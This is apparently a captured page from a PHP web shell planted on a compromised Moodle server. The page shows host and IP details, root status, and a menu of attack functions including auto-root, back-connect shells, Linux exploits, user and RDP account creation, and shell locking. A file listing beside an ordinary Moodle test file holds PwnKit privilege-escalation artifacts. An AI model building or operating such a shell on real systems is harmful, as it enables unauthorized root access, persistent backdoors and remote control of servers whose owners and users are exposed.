Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
roles /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
preset_test.php
3.17
KB
-rwxrwxrwx
privacy_test.php
36.36
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : preset_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Role XML presets test case. * * @package core_role * @category phpunit * @copyright 2013 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); class core_role_preset_testcase extends advanced_testcase { public function test_xml() { global $DB; $roles = $DB->get_records('role'); foreach ($roles as $role) { $xml = core_role_preset::get_export_xml($role->id); $this->assertTrue(core_role_preset::is_valid_preset($xml)); $info = core_role_preset::parse_preset($xml); $this->assertSame($role->shortname, $info['shortname']); $this->assertSame($role->name, $info['name']); $this->assertSame($role->description, $info['description']); $this->assertSame($role->archetype, $info['archetype']); $contextlevels = get_role_contextlevels($role->id); $this->assertEquals(array_values($contextlevels), array_values($info['contextlevels'])); foreach (array('assign', 'override', 'switch', 'view') as $type) { $records = $DB->get_records('role_allow_'.$type, array('roleid'=>$role->id), "allow$type ASC"); $allows = array(); foreach ($records as $record) { if ($record->{'allow'.$type} == $role->id) { array_unshift($allows, -1); } $allows[] = $record->{'allow'.$type}; } $this->assertEquals($allows, $info['allow'.$type], "$type $role->shortname does not match"); } $capabilities = $DB->get_records_sql( "SELECT * FROM {role_capabilities} WHERE contextid = :syscontext AND roleid = :roleid ORDER BY capability ASC", array('syscontext'=>context_system::instance()->id, 'roleid'=>$role->id)); foreach ($capabilities as $cap) { $this->assertEquals($cap->permission, $info['permissions'][$cap->capability]); unset($info['permissions'][$cap->capability]); } // The remainders should be only inherits. foreach ($info['permissions'] as $capability => $permission) { if ($permission == CAP_INHERIT) { continue; } $this->fail('only CAP_INHERIT expected'); } } } }
Close